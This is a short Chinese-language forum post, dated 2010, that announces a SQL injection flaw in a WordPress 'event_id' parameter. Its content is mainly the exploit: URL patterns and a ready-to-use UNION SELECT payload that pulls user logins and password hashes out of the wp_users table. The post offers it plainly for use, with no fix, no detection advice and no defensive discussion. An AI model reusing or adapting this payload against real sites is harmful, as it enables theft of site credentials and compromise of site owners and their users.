[经验分享] WordPress最新event_id注入漏洞

主题	好友	2712 积分

禁止访问

发消息

发表于 2010-2-7 09:38:30 |显示全部楼层

===[ Exploit ]===

www.WordPress.com/?event_id=[Sql]

www.WordPress.com/Path/?event_id=[Sql]

Exploit:

null+and+1=2+union+select 1,concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+wp_users

使用道具举报

返回列表

		自动登录	找回密码
密码			注册会员

[经验分享] WordPress最新event_id注入漏洞

快速发帖